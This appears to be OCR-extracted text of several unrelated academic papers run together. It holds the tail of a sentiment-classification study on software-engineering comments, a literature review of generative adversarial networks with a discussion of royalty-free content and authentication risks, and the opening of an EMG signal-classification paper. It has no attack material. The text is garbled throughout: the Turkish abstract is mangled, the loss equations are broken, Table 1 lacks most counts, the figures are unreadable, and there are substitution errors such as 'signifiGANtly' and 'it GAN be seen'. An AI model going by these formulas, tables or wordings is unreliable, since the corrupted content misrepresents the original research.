with the use of ensemble learners. Beside these results, we also achieved 0.8115 accuracy value by
combining the predictions of four machine learning classifiers (namely, SVM, RF, NB and LR) using
the voting ensemble learner in which there is also no performance enhancement compared to other two

ensemble learners.
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Figure 4. Comparison of Unigram Accuracy Values of Four Different Machine Learning Algorithms Based on
Two Ensemble Learners

The performances of the conventional classifiers are extremely related to whether datasets are composed
of noisy data labelled by overlapped target classes. However, in this study we eliminated the noisy data
from the SESD dataset by conducting an annotation process. This provided a chance for SVM and LR
classifiers to achieve higher result compared to others as both of them work relatively well when there
is a clear separation between classes. In addition, the higher performances of the classifiers SVM and
LR might be due to their high performances against high-dimensional datasets.

Tables 3, 4 and 5 present the accuracy, precision and recall results in sequence which are obtained by
using three deep learning architectures (i.e., CNN, LSTM and RNN) with Keras embedding layer in
different combination of vector and filter sizes. Regarding the accuracy results, we achieved the highest
predictive performance as 0.8315 by using CNN. LSTM performed the second highest performance
with a value of 0.8219, which is followed by RNN with 0.8056. Regarding the precision performance
of the architectures, CNN achieved the highest precision value of 0.8357 which is followed by LSTM
and RNN with results 0.8309 and 0.8070 respectively. For recall performance of the architectures, CNN
outperformed others with a value of 0.8587. LSTM achieved the second highest recall value 0.8398
which is followed by RNN with 0.8367. On the other hand, we could not obtain any significant
performance enhancement in different combinations of vector and filter sizes.

Generally speaking, CNN outperforms at extracting position invariant features which makes it a better
choice for sentiment analysis problems as sentiment extraction is usually based on key phrase. On the
other side, RNNs architectures are suitable for problems related to sequence modeling tasks as they
require flexible modeling of context dependencies [41]. However, in literature, there is no clear
conclusion as there are also studies provided results vice-versa [42], [43]. In brief, the classification
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results among deep learning architectures depend on the condition of the content of the dataset and the
optimization of the parameters of the model.

Table 3 Comparison of Accuracy Classification Results of Three Deep Learning Architectures Based on
Different Values of Vector Size and Filter Parameters

Vector size Filter CNN RNN LSTM
100 100 0.8205 0.7933 0.8219
200 100 0.8315 0.7953 0.8211
100 200 0.8256 0.8056 0.8156
200 200 0.8290 0.8017 0.8211

Table 4 Comparison of Precision Classification Results of Three Deep Learning Architectures Based on
Different Values of Vector Size and Filter Parameters

Vector size Filter CNN RNN LSTM
100 100 0.8189 0.7924 0.8275
200 100 0.8294 0.7929 0.8268
100 200 0.8320 0.8070 0.8303
200 200 0.8357 0.8068 0.8309

Table 5 Comparison of Recall Classification Results of Three Deep Learning Architectures Based on Different
Values of Vector Size and Filter Parameters

Vector size Filter CNN RNN LSTM
100 100 0.8491 0.8263 0.8398
200 100 0.8587 0.8313 0.8382
100 200 0.8402 0.8367 0.8216
200 200 0.8440 0.8255 0.8332

Table 6 shows the accuracy results of the three deep learning architectures (i.e., CNN, LSTM and RNN)
using pre-trained word vector representation named Word2vec. Regarding the performances of the
architectures, LSTM slightly outperformed others with a value of 0.8572. The results indicate that using
Word2vec as an embedding layer compared to Keras provided higher results for all of the three
architectures. This could be due to the range of vocabulary in Word2vec model (3.6M).

Table 6 Comparison of Accuracy Classification Results of Three Deep Learning Architectures Using Pre-trained
Word2Vec Embedding Layer Based on Different Filter Parameters

Vector size Filter CNN RNN LSTM
100 100 0.8564 0.8458 0.8550
100 200 0.8564 0.8456 0.8572

5. Conclusion

In this paper, we focused on developing a model to be used for identifying sentiments of the comments
in software engineering-related social media and microblogging sites as a guidance for people who are
willing to learn positive and negative aspects of software engineering education and work life. So this
model can be plugged in any application which is implemented for crawling software engineering-
related positive and negative information from any text data source.

To generate the dataset, first we conducted a survey to collect labeled documents among software
engineering students (349 sophomores and 185 seniors) where we asked them to write five positive and
five negative comments about software engineering. Then, we validated the raw dataset with an
annotation process which has the Cohen’s kappa (K) metric as 0.97 indicating a perfect agreement
among the annotators. After the corpus creation phase, we implemented empirical analysis to compare
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predictive performances of five conventional classifiers (SVM, NB, RF, LR and KNN), three ensemble
learners (namely, AdaBoost, Bagging and Voting) and three well-known deep learning architectures
(CNN, RNN and LSTM). In addition, we also compared classification results obtained by using different
feature extraction methods (namely, TF, TP and TF-IDF) and three N-gram models (unigram, bigram
and trigram) in conjunction with conventional classifiers. TF-IDF scheme and unigram model generally
outperformed others. In general, the empirical results indicate that SVM and LR classifiers provided the
highest predictive performances among other conventional classifiers. This case can be explained with
the documents which are clearly separated between classes as a result of the annotation process.
Regarding the performances of the ensemble learners, we could not achieve significant performance
enhancement using three different ensemble learners on SVM, RF, LR and NB classifiers. Regarding
deep learning architectures, CNN provided the highest predictive performance values in almost all
compared configurations among other architectures. This might be due to optimization of the parameters
of the models and the higher performance of the CNN architecture on sentiment analysis problems as
sentiment extraction is usually based on key phrase. Deep learning architectures also performed higher
classification results compared to conventional classifiers as they utilize deep neural networks and
embedding models. In addition, we also evaluated the proposed deep learning architectures with pre-
trained embedding layer Word2vec where we achieved higher accuracy values compared to Keras
embedding layer. This case might be due to the range of vocabulary in Word2vec pre-trained model.

For future work, we might extend the size of the dataset by conveying a survey among graduated
software engineering students. In addition, different feature extraction methods and embedding schemes
can be used to examine performance enhancements.
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Abstract

In recent years, with the increasing power of computers and Graphics Processing Units (GPUs), vast variety of
deep neural networks architectures have been created and realized. One of the most interesting and generative
type of the networks are Generative Adversarial Networks (GANs). GANs are used to create things such as
music, images or a film scenerio. GANs consist of two networks working simultaneously. Generative network
captures data distribution and discriminative network estimates the probability of the Generative Network
output, coming from training data of discriminative network. The objective is to both maximizing the generative
network products reality and minimize the discriminative network classification error. This procedure is a
minimax two-player game. In this paper, it has been aimed to review the latest studies with GANSs, to gather the
recent studies in an article and to discuss the possible issues with royalty free products created by GANs. With
this aim, from 2018 to today, the studies on GANs have been gathered to the citation numbers. As a result, the
recent studies with GANs have been summarized and the potential issues related to GANs have been submitted.

Keywords: deep learning, royalty-free products, authentication

Uretken Aglar ve Telifsiz Uriinler
Oz

Son yillarda, bilgisayarlarin ve Grafik Islem Birimlerinin (GPU'lari) artan giiciiyle, ¢ok cesitli derin sinir aglar1
mimarileri olusturulmus ve gerceklestirilmistir. En ilging ve iiretken ag tiirlerinden biri de Uretken Cekismeli
Aglardir (GANS). GAN aglar1 miizik, goriintii ve film senaryolarinin Uretiminde kullanilmaktadir. GAN aglar1 es
zamanl calisan iki ag yapisindan olusmaktadir. Uretici ag, veri dagitimini iistlenmekte ayiric1 aglar ise, ayrimei
agin veya iiretken ag {iriiniiniin egitim verilerinden gelen Uretken Ag ciktisinin olasiligini tahmin etmektedir.
Amag hem iiretken agin irettigi verinin gergekligini maksimize ederken, ayirict agin da hatasini minimize
etmektir. Bu sirec iki oyunculu bir minimax problemidir.

Bu galismada GAN aglar ile ilgili yapilan son ¢aligmalarin gézden gegirilerek bir makale altinda bir araya
getirilmesi ve  GAN aglari ile {iretilen telifsiz {irlinler ile ortaya ¢ikacak olast konularin tartisiimasi
amaglanmigtir. Bu amag¢ ile 2018’den giiniimiize bu konuda yapilmis olan ¢alismalarin atif sayis1 en yiiksek
olanlar1 bu ¢aligmada bir araya getirilmistir.

Sonu¢ olarak GAN aglar1 ile yapilmig bu caligmalarin 6zet ve sonuglar1 bir tablo haline getirilerek
sunulmaktadir. Bu sekilde GAN aglarinin mevcut uygulamalar1 bu ¢alismada ortaya konulmaktadir. Yine GAN
aglari ile ilgili olas1 sorunlarin ne olacagi da bu ¢alismada sunulmaktadir.

Anahtar Kelimeler: derin 6grenme, telifsiz tiriinler, kimlik dogrulama

1. Introduction

With the industry revolution, mankind became acquainted with the machines working instead of them.
Since the first industry machines have been used for workforce, they can be accepted as blue collar
workers. With booming technology during the Second World War, mankind met a very brilliant
machine called computer. Computers have been managing the industrial machines, making
calculations for an accountant, or increasing the productivity using Operations Research methods or
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algorithms. So the second types of machines have been accepted as white-collar workers. Even if they
are very good at computing and analyzing, they can’t be competing with the peoples on recognition
and learning from patterns or samples. The researchers have been working on more brilliant
computers, which isusing “Artificial intelligence” This type of computers are not only computing,
analyzing and saving but also producing art and music, recognizing the peoples and driving car.

Artificial intelligence, coined by John McCarty, has been introduced in the Dartmouth Conference in
1956 [1]. Just after, this conference, the first Artificial Intelligence Laboratory was founded in MIT by
Marvin Minsky. But the studies on Artificial Neural Networks(ANN) had also been progressing since
1940’s. In 1943, McCulloch and Pitts [2] presented a mathematical model of a neuron[3].Many
researchers made great contributions for improving of artificial intelligence in the following years.
Rosenblat invented a learning model named Perceptron in 1958 [4]. Rosenblat implemented
perceptron in MARK-1 computer for visual pattern classifier [5]. After it had been understood that
perceptron could only solve linearly seperable problems (XOR curse), the interest for ANN was
decreased. Marvin Minsky and Seymour Papert had shown how limited Rosenblatt’s perceptron was
and, how it was impossible for perceptron to learn the simple logical XOR function [6].

In 1986, Rumelhart and his friends offered a training algorithm which propagating the error [7].With
backpropagation algorithm, the interest on ANNs increased again. Different type of network
architectures were offered and implemented successfully such as Self Organizing Maps (SOM) by
Kohonen [8], Adaptive Resonance Theory Networks [9], and Recurrent Networks [10]. But some
complex classification problems weren’t solved with the stated ANNSs. So, deeper networks were
designed, in order to solve more complex problems. But feature extraction was also another issue for
scientists. ANNs classification accuracy was depend on the features presented as input. In order to
overcome feature extraction, a new network model had been offered for classification of the images.
In 1994, Convolutional Neural Networks [11] were used for recognition but was not studied a lot since
because of the computation limits. With the increasing power of the computers, later 2010, CNN has
been used for classification problems and since 2015 it reached the human classification accuracy in
The ImageNet Large Scale Visual Recognition Challenge (ILSCVR) [12].

Deep learning has also been a key term in recent years with the CNNSs. It has attracted much attention
in computer vision and machine learning due to its high performance. Deep learning identifies the
features directly from the raw data [13]. So since the feature extraction is made automatically, it
fastens and makes easier to the visual tasks such as image classification. But not only classification,
but also generative networks [14] were also designed and applied successfully. Especially for five
years, researchers try to reveal the capabilities of computer on creativity. Images, Lyrics, Poems,
scenarios have been created with recent deep learning algorithms.

Creative music with Deep Learning has been studied by a lot of researchers. The real aim of these
studies are not compete with the best classics, but to create melodies for routine applications like
background music of video games, since they are cheaper. DeepBach is among the studies [15]. In this
study, after the network is trained on chorale harmonizations by Johann Sebastian Bach, model is
capable of generating highly convincing chorales in the style of Bach. There are also softwares
generating Royalty-Free musics for film and video game industry. Jukedeck, Melodrive and AIVA are
the most popular ones. AIVA produces soundtracks based on deep learning architectures for any type
of media [16].

MuseGAN is another study on creative music. The proposed model is based on GAN (Generative
Adverserial Network). The model has been trained on a dataset of over one hundred thousand bars of
rock music and applied them to generate piano-rolls of five tracks: bass, drums, guitar, piano and
strings [17].

MidiNet creates midi melodies using convolutional generative adversarial network [18]. The WaveNet
architecture based on a convolutional feedforward network without pooling layer is aimed at
generating raw audio waveforms [19]. Hadjeres and Nielsen propose a system named Anticipation-
RNN [20] for generating melodies with unary constraints on notes generation by a recurrent network.
The studies on Music creation using Deep Network can be found the review by Hadjeres at al[21].
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Generative adversarial networks (GANSs) are used widely in image generation, video generation and
voice generation. GANs were introduced by lan Goodfellow [14] and other researchers. There are two
networks working simultaneously as a minimax model. While the first net (detector) discriminates
images as real or fake, the second net(creator) tries to create real images from random normal
distribution. The process stops detector can’t discriminate images coming from the creator net as fake.
GANSs’ potential is very high and there are a lot of successful aplications on creativity of the
computers. Faces which are not belong to any existing person are generated by StyleGAN [22]. GANs
aging face photographs show very impressive results [23]. In the recent study realized with GANSs,
face images of the persons are created using their voices [24]. DCGAN is created for colorization of
the images [25].

Scenerio creation with deep learning has been realized too. Sunspring is a 2016 experimental science
fiction short film entirely written by an artificial intelligence bot using neural networks. The script of
the film was authored by a recurrent neural network called long short-term memory (LSTM) by
an Al bot named Benjamin [26].

The rest of this paper is organized as follows. GANs and the most popular GAN architectures are
introduced in section 1l. Section Il presents the recent studies with GAN. Section IV presents the
royalty free products and some issues because of GANs. And Section V concludes the study.

2. Generative Adversarial Network

Human beings have been designing devices that can do their own things for centuries. First, they
designed machines that did their jobs, and then they designed computers that could do their own
calculations. In recent years, human beings are developing soft ware that produces and learns like
themselves. These studies can be gathered under the title of generative networks. The basis of
generative adversarial network was laid in 2014 with a paper presented by lan Goodfellow and his
colleagues at the 28th Neural Information Processing Systems conference working[ 27].

GANs is a network structure obtained by simultaneous training of two deep learning network
structures based on Nash game theory. One of the networks in GAN's structure is called
Discriminative model and the other is called Generative model. The GANs networks structure
corresponds to a two-player minimax model. In the network model, G (generative) is trained to
maximize the probability of D (discriminative) making a mistake. D and G are defined as multi-layer
networks.

Generative Network consists of transposed convolutional layers, batch normalization layers and
rectified linear unit layers. Generative network takes random noise array as input. With the layers, the
network converts the random number arrays as desired size of output with maximum similarity.

Discriminative network consists of convolutional layers, batch normalization and other deep network
layers according to the type of the GAN output.

The loss function for GAN, proposed in the literature can be formulated in general as given in the
Towards a Deeper Understanding of Adversarial Losses [28] equation 1 and 2:

For Discriminative Network:

max Expy [f(DC0))] + Ez ~pglg (D (x7)] @)
For Generative Network:
min E —p, [R(D )] (2

Pd denotes the data distribution and pg is the model distribution defined by G(z) when z ~ pz.
The component functions f, g and h used in Godfellow[14] studies are as given in Equation 3.
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f(y) = —log(1+e”),g(y) = —y —log(1 +e”),h(y) = —y —log(1 + ) ®)

Within the framework of the proposed adversarial networks, the generative model struggle against an
opponent. The model is trained when the discriminator network (D) structure cannot detect whether
the incoming data is from the generator network or from the data distribution.

The GANSs network structure consists of 2 neural networks that work opposite to each other as seen in
Figure 1 below.

oo 14

L Fake |

Random Noise

Figure 1 Generative Adversarial Network Structure

3. Works With Generative Adversarial Network

The studies from 2018 to today, have been searched and reviewed. The summary, results and citation
numbers of the studies related to generative adversarial networks are presented in Table 1.

Recently, studies have been carried out in many areas related to GANSs. In this study, studies from
2018 to date have been examined. The topics studied are in general: image restoration, resolution /
super-resolution, image classification, image detection, image generation, video, image translation,
image segmentation, image quality and hyperspectral image. Most of the studies reviewed are about
image restoration. About image restoration; Babaee, Zhu and Sparkling (2019) presented GAN
architecture to solve the problem of incomplete gait cycle. In the presented method, a generator with
automatic encoder network and two discriminator are created to create full GEIs from missing GEls.
One discriminator checks whether the image is a complete GEI and the other discriminator checks
whether the two GEls belong to the same subject [29]. He and Zhang (2019) image recovery method
with deep learning technique is suggested to improve underwater image recognition. The productive
contention network has proven to be a perfectly suitable design to restore distorted images [30]. In the
MCGAN model proposed by Wang, Fan and Zhu (2018), automatic learning of a distorted image
takes place. By learning from two complementary networks, MCGAN semantically creates new pixels
for the deficient areas. In comprehensive qualitative and quantitative tests on datasets, it is seen that
the presented model performs better than the latest technology products [31]. In another study by Shi,
Li, and Zhu (2018), GAN architecture is proposed to automatically generate building footprints from
satellite images.The results were successful when the proposed method was compared to U-Net,
CGAN:Ss and other networks [32]. In the study by Gong and Zhang (2018), it was tried to solve the
problem of deburring in blurry images with GAN. First, the process of dividing the fuzzy parts and
clear parts of the picture is performed. Then, deburring of the fuzzy part is started. With the method
created, very good results were obtained on both natural local blurred images and artificial local
blurred images [33]. In this study by Zheng, Song and Wu (2019), the Encoder Directed Generative
Adversarial Network (EGGAN) feature is recommended to solve the problems in face photographs. In
the presented method, it is seen that GAN has reached the state of the art in terms of both quantitative
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evaluations and perceptual quality[34]. In the study by He and Zhang (2019), it is emphasized that
snowflakes affect the quality of the image in pictures. In their study, they tried to solve this problem
by combining generative adversarial network education model and pruning method [35]. In this study
by Xiang, Wang and Wu (2019), a feature controlled GAN (FS-GAN) is proposed to remove
raindrops from images. In the experiments, it has been observed that the presented FS-GAN
outperforms state-of-the-art rain removal methods in both real world and synthetic images in terms of
visual quality and quantity[36].

Considering the literature, restoration and resolution / super resolution are the most studied subjects.
Studies on resoluton and super resolution; Yin (2019) presents a study on pedestrian detection
techniques. The Multi-Resolution Generative Adversarial Network (MRGAN) method was used to
solve the low resolution pedestrian detection problem. The presented method has yielded more
successful results than previous methods [37]. Gu, Zhang, Wang (2019) propose deep DGAN to
reconstruct high resolution (HR) SAR images. The experimental results also show that the proposed
GAN architecture protects the GAN's SAR images with high levels of noise suppression[38]. In the
article by Huang, Zhang and Zhou (2019), a new GAN design is proposed to produce SAR images
over a network, improve the quality of the produced image and ultimately obtain high-resolution
images. The images generated show a high similarity compared to real examples [39]. Jiang, Li and
Gao (2019) propose the GAN method to analyze HSI super resolution (HSRGAN). In qualitative and
guantitative results, it is seen that the presented HSRGAN performs better than technological methods
such as SRGAN and SRCNN [40]. Zheng, Jiang and Zhang (2019) present a new super-resolution
image reconstruction design based on SNGAN. In experiments conducted on TerraSAR and MSTAR
datasets, it is seen that the proposed design performs very well in target recognition and resolution
increase of SAR images [41]. Sun, Zhao and Zhang (2020), GAN architecture is presented to solve the
problems of images created with SR techniques The generative model is based on a deep neural
network containing a multilayer convolution module. The discriminant model consists of a multilayer
neural network based on loss function. Compared to previous designs, it seems that the presented
design gives better results [42]. Wang, Wu and Su (2019) use SRGAN architecture to solve single
image super resolution problems in their study. Thus, they found that a clearer and more natural GAN
image was produced[43]. Liu, Wang and Wan (2019) recommended CSPGAN for the synthesis of
faces in their study. The experimental results show the success of CSPGAN in reconstructing
photorealistic textures [44].

The next most studied topic with Gan architecture is image classification. Studies on image
classification; Alnujaim, Oh and Kim (2019) use GAN architecture to classify micro-Doppler
signatures measured by radar. Data has been augmented using GAN architecture to complement the
data gap. The results are not conclusive, however generally show a trend. So, more research is needed
to measure the quality of the GAN spectrogram [45]. Tang and Han (2019) proposed a design to
define abnormal chest X-rays with GAN in their article. As a result of quantitative and qualitative
experiments, it is seen that the workload is reduced for radiologists and the efficiency of the approach
created and obtained 0.841 AUC in the NIH Chest X-ray data set [46]. Pan, Yu and Yi (2019) present
recent studies on GANSs in their article. In the first stage, the differences between productive models in
recent years are examined. In the second stage, derived GAN models are classified and presented. In
the third stage, training and evaluation criteria are presented. In the fourth stage, applications of GANs
are presented. Finally, what studies GAN be done in the future is discussed [47]. Karadag and Cigek
(2019) investigated the use of GAN for data enlargement in image classification. Classification
performance was evaluated using three types of different methods. It is seen that GANs are used
effectively for large data sets. [48]. Li, Wang and Zhang (2019) in their article, classification of urban
images in SAR images is a difficult situation due to the complexity of urban areas. In order to get rid
of these problems and get the proper features, this article also offers two effective solutions. Sentinel-1
SAR and GF-3 images are chosen to try the generative network. As a result of the studies, it is seen
that the proposed optimization gives positive results [49]. Han, Feng and Wang (2019) proposed a new
GAN in their article. With the method presented in this study, it GAN create HRRS images with a
specific tag and develop image classification performance with methods based on CNN [50].
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Considering the GAN architecture, it is seen that serious work has been done on image detection.
Image detection related studies; Liu, Chen and Xu (2019) presented a semi-supervised remote sensing
method based on Generative adversarial networks (GAN) in their article. Results from some high
resolution remote sensing data sets also show the efficiency of the proposed design [51]. Ma, Zhou
and Wang (2019) recommend using GANSs to detect ships that are difficult to detect in their article. As
a result of this work, the generative network, called the ship-finding network, correctly identifies
difficult-to-find ships[52]. Shen, Liu and Sun (2019) propose a CNN-based detection design called
LD-CNN in their article. The detection algorithm signifiGANLtly decrease the calculation costs of the
presented design and increases its accuracy. Also, GAN was developed to solve the problem of
incomplete training and GAN effectively produced the so-called MC-GAN samples. Detection
performance of the presented design; analyzed in the collected dataset and in the Munich dataset. The
results of the study show that the method proposed in the Munich dataset 86.9% (mean sensitivity) in
mAP, the F1 score was 0.875 and the detection time in Nvidia Titan XP was 1.64s.When this study
was done, it ensured that the results reached the most advanced level in vehicle detection [53]. Wang,
Hou and Shao (2019) obtained an anomaly detection framework that provides high accuracy for
electrocardiogram (ECG) signals. The proposed framework includes two models: classification model
and data magnification model. The data magnification model is supported by ACGAN (auxiliary
classifier). ACGAN is created by adding multiple 1-dimensional convolutional layers to the
Discriminator and Generator. In experimental studies, the model was applied for sequential heartbeat
detection and single-heartbeat detection[54]. Garcia, Laparra and Chova (2019) present the use of a
GAN framework to generate new satellite data in their paper. The proposed GAN method has been
used for cloud detection in Landsat-8 images and Proba-V. The results show that the accuracy of
GANSs in detecting signifiGANtly improved[55]. Mandal, Puhan and Verma (2018) study in their
article to make classification of food images more effective by using deep convolutional GAN.
Considering the results of the study, the superiority of the GAN presented can be seen when looking at
current approaches [56].Wadhwa, Maharana and Shah (2019) presented a draft model for facial
recognition in their article. The system adopts a multi-layered approach. The system also combines
draft image creation and facial recognition methods. Firstly, the transition to photo generation is made
using the cGAN based pix2pix model. Then One Shot Learning is done using FaceNet. The draft
recognition design developed with this study gives positive results in multiple data sets. The
distinction in recognition correctness compared to the original images is seen as three percent [57].

In recent years, studies on image generation have also been observed due to the need and requirement
of data sets. Studies on image generation; Gu, Zhang and Zhang (2019) present a GAN to improve the
quality and accuracy of maps and aerial images conversion results in their study. Experiments on the
dataset created from aerial images to the map show that the method created improves both visual
appearance and accuracy by performing better than the current method [58]. Zhu, Lu and Chiang
(2019) aims to create negative examples by GAN to attack facial recognition models by applying
makeup effects on facial images. In the experimental results, it is seen that the method created
according to previous studies creates high quality facial makeup images [59]. Chen, Zhu and Wu
(2019) used GAN to expand small-sized infrared datasets in their study. In the proposed method,
infrared images are created and RGB images are transformed into infrared images. Experimental
results show that such an approach is efficient in enlarging the infrared dataset [60]. Chen, Yisheng,
and Wang (2019) propose a new approach to increase traffic data using GANs and parallel data in
their study. GANs have been applied to create artificial traffic data in parallel data method.
Experimental results show that the presented design GAN increase the production of traffic data [61].
Chen, Zhang, Li (2019) aims to produce youth and old age facial image data of the same person in
their study. This process is also offered using generative adversarial networks. The proposed method
was applied in CADA-VS and FGNET datasets, resulting in 96.99% -85.04% results [62].

With Gan architecture, only pictures are not processed. Studies on text and video are also carried out.
Studies on video; since 2016, various types of GAN models have been offered to provide deep
learning in image coloring, image style change and image style transfer. Based on this situation, Cui
and Wang (2019) used the GAN model to automatically process old documentary films [63]. The
presence of haze signifiGANtly reduces visual quality and therefore video analysis negatively affects
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human-machine interaction and visual surveillance performance. Based on this situation, Pang, Xie
and Li (2018) proposed a GAN to eliminate blurring in a visual signal, called HRGAN. Experimental
results in databases of both synthetic and real samples show that HRGAN performs better than the
most advanced algorithms in terms of efficiency [64]. Xiang, Xu and Yan (2019) propose a new
GAN-based approach to hide video errors. Hiding errors in low resolution videos has been successful
in both quantitative and qualitative experiments [65].

There are also studies on image translation Studies on this subject; The cloud cleaning method is an
important step to improve the quality of images in general. Recently, cGAN has taken important steps
in translating image to image. Based on this, Xu and Wang (2019) proposes a new objective function
that increases the structural similarity rate based on cGAN. In experimental results, it shows that the
presented design has a visual effect on both PSNR and cloud-covered remote sensing images [66].
Lata, Dave, and Nishanth (2019) use Conditional GANs to translate images according to some
conditions. The performance of the created model is analyzed by hyper parameter adjustment [67].
Yanagi, Togo and Ogawa (2019) present a GAN-based method that converts text-to-image, which has
recently become one of the popular research topics. A new “Query GAN” framework is proposed,
which is based on the text-image GAN architecture. The idea presented is to use text-image images
created by GAN as queries for the stage. The efficiency of the presented approach GAN be seen by
experimental evaluation in which the scene is taken from the real video data sets [68].

In GAN architecture, image segmentation is important and there are a few studies on this subject.
Studies on image segmentation; Gao, Peng and Li (2019) proposed road crack segmentation method
based on GAN.In GAN networks, there are two neural networks, U-Net based FU-Net and CU-Net,
consisting of a discriminator and a generator. While using U-Net, FU-Net and CU-Net generators, two
classes of networks are used as discriminator. The three datasets provide better performance of the
proposed method compared to other methods. Especially; recall, F1 score, and precision are 73.40%,
77.33% and 91.46% in general data sets, respectively [69]. Skin lesion is generally considered to be a
disease detected by dermoscopy images. The main goal of skin lesion analysis is to accurately
segment the lesion regions. Jiang, Zhou and Qin (2019) presented a skin lesion segmentation
framework based on GAN in their article. In this context, ISIC skin lesion was trained and evaluated
using data sets in 2017. It shows that the presented network has obtained appropriate segmentation
performance compared to other CNN approaches in the experiments [70]. Liu, Zhang and Chen (2019)
investigated the data enlargement method to balance semantic tag distribution for better segmentation
performance. To develop the performance of semantic segmentation networks, it has been proposed to
use GAN to produce more realistic images. Looking at the results, it shows that the presented
approach not only improves low accuracy segmentation performance, but an improvement of 1.3% to
2.1% in average segmentation precision. Thus, it GAN be seen that the magnification approach GAN
increase accuracy and easily be applied to other segmentation approaches [71].

There are studies to improve image quality. Studies on this subject; Cao, Jia and Chen (2018)
examined current GAN models and their effectiveness in computer vision applications in their article.
The development and history of generative algorithms, basic network structures, GAN mechanism and
analysis of the original GAN are examined. In addition, some applications of GAN in computerized
images, including image translation, high quality sample production, have been explored. Then, some
issues of GAN are discussed and future issues are suggested [72]. Translucent materials such as glass
cause reflection problems in image processing, which reduces image quality. Li and Lun (2019)
presented a new deep learning approach to eliminate reflection in their article. The image is sent to
Wasserstein (WGAN) to find the background edges. Then; background edges are used in other
Wasserstein GAN to recreate background images. In the results made in the study, it is seen that the
method GAN reach the most advanced performance. In addition, it is seen that it is ahead of existing
approaches due to the use of deep learning approaches [73]. Ultrasound has become a widely used
imaging method in medicine in recent years and is applied in rural medicine, telemedicine, and
community medicine. For this reason, The improvement of movable ultrasound devices has been an
important issue lately. Also, the small size of movable ultrasound devices often reduce image quality.
Zhou, Wang and Guo (2019) propose a new GAN model to match high-quality images corresponding
to low-quality ultrasound images to overcome hardware limitations and improve image quality of
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mobile ultrasound devices. In the results obtained in the study, it shows that the presented method
gives optimum results to improve quality and movable ultrasound images[74].

Studies on hyperspectral image; Forster, Behley and Behmann (2019) use Cycle-Consistent GAN to
predict and prevent the spread of disease symptoms to barley plants. In the experiments carried out
within the scope of the study, it GAN be seen that the model GAN learn the spread of the disease,
which is shown both visually and in the relevant reflection spectra [75]. Although HSI Classification
has been researched for the past decade, the challenges remain due to the limited number of labeled
samples. Wang, Tao and Qi (2019) semi-supervised variable GAN is proposed to overcome this
difficulty in their article. In the proposed model, when the number of labeled data is low, HSI
classification performs better than conditional GAN [76]. As you can see, GANs are used in many
different areas and for different purposes. Studies on GANSs are not limited to these and will become
more popular over time. The main topics in this study on GANs and how many studies have been
examined on that subject are shown in Table 1.

Table 1 Main Categories Reviewed
The categories The number of studies
Image restoration 8
Resoluiton /Super-resolution
Image detection
Image classification
Images generation
Video analyze
Image translation
Image segmentation
Image guality
Hyperspectral image
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When the latest studies on GAN networks are examined, it is seen in Table 1 that the most studied
topics are image restoration, resoluiton / super-resolution and image detection. These three studies are
followed by image classification, images generation, video analyze, image translation, image
segmentation. Additionally, image guality and hyperspectral image are the least studied topics.

The status of the examined 48 articles according to the number of citations is shown in the graphic in
Figure 2. Citation counts are taken from Google Scholar. Since the studies are generally new, it is seen
that the citation numbers of most articles are between 0 and 5.

Citation Table

6--10 1115 16--20 21 and over

0-2 al

Figure 2 Citation Table

4. Royalty-Free Products and Issues Coming with GANs

Royalty-free (RF) material means that it can be used without the need to pay royalties or license
fees for each use. If image has copyright[77] licence, the user must make payment to the licensor. In a
very near future, due to GANSs a vast variety of productions are created by GANSs. But this production
will bring copyright problem. Royalty-free music, realistic face images, paintings created by
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computers, fake voices create authentication problems. For real persons, creativity are protected by
laws, but what about the computers?

If we are using some part or whole part of music, we must pay royalties. But in recent applications,

Vincent Van Gogh style images or Johann Sebastian Bach style musics are created using style
transfer. If such type of GANs trained with the material which requires copyright, what will be the
created products? Royalty free or not.

Another issue is authentication problem. Created fake faces can be used for forgery. Or due to GANs,
fake voices can be created mimicking the previous speeches. If fabric voice says “Hey Siri!” and use
our personel mobile phone using fabric voices, what will be the results and regulations? So computer
productivity is also an issue like Genetic Cloning. So the possible side effects, or negative effects must
be discussed.

Another issue is not negative but must be considered. In a very near future, with the increasing
performance of computers and GANs we will witness very successful and creative art works. Does
this affect people's creativity negatively? With powerfull computers, very high resolution images can
also be created using GANs. This creativity will bring two issues. One of them positive, the other one
is negative. One the one hand, creativity strengthen Game Industry. Because desired scenes can easily
be created using GANs. Unlimited characters can be cerated for a game. On the other hand, this
creativity will decrease the need for some jobs, as in the industrial revolution. For the time being, even
if computers can’t discriminate the realistic images or voices, can seeing too many realistic photos,
weaken people's discrimination?

When the literature studies are examined, it is seen that there is no study on royalty-free products until
now. Generally, there is a gap in royalty-free products as image resolution, image restoration and
image detection issues are studied. For these reasons, it is planned to work on royalty-free products in
the next study.

5. Conclusion

As can be seen from recent studies with GANS, the potential of GAN is quite high. Discovered in
2014, GAN has increased its popularity today. Especially the production of new images, new sounds
and new texts has become a very interesting issue for those who need this data.

GANSs generally seem to work with image resolution, image detection and image restoration. In
addition, there are studies on image quality without creating hyperspectral images. These issues have
been studied less than other issues, but it is predicted that there may be serious increases in these
issues. At the same time, it is seen that GAN architecture is still not used in many areas as well as the
subjects studied. While doing the literature study, we tried to summarize the most effective studies
published since 2018 and found that no work has been done on Royalty-free products. In this study,
we tried to give a perspective for future studies by presenting a general overview of GANSs.
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Abstract

Electromyography (EMGQG) is used to measure muscle activity. EMG signals are widely used in many biomedical
practices such as motion recognition, prosthetic control, physical rehabilitation, and human-computer interfaces.
The effective use of EMG in such practices depends on distinctive feature extraction. In this study, Dispersion
Entropy (DisEn) and Normal Cumulative Distribution Function (NCDF) methods are used for feature extraction
from EMG signals. The suggested method was tested with a data set containing immersion of six different objects.
In the experimental studies, the proposed method distinguished the movements with an accuracy performance of
98%. When compared to other methods using the same data set, the suggested method has about 1.2% better
performance.

Keywords: EMG, normal cumulative distribution function, dispersion entropy, SVM, ELM

1. Introduction

In vertebrates, the contraction of skeletal muscles connected to the bone ensures the movement in parts
of the living creature. During the movement contraction of skeletal muscles generates trical signals
called electromyography (EMG). These signals are generated due to the change in electrical potential
as a result of chemical changes composed by the contraction of neurons in multiple fibers in muscles,
called myofibrils. EMG signals contain very important information about muscle activities. Therefore,
it is generally used as an input signal at interfaces of human-myoelectric control systems. Today, EMG
signals are very popular to use in many areas such as hand gesture recognition, robotics, prosthesis
control, video games, and sign language recognition [1]. Therefore, EMG classification is being studied
extensively in the literature. Jonior et al. [1] high dimensional EMG data features the size of EMG
features are reduced through dimension reduction methods such as Principal Component Analysis
(PCA), Linear Discriminant Analysis (LDA), automatic encoder, t-distributed stochastic neighbor
embedding and Large Margin Nearest Neighbor (LMMN) reduced. Then, these features were classified
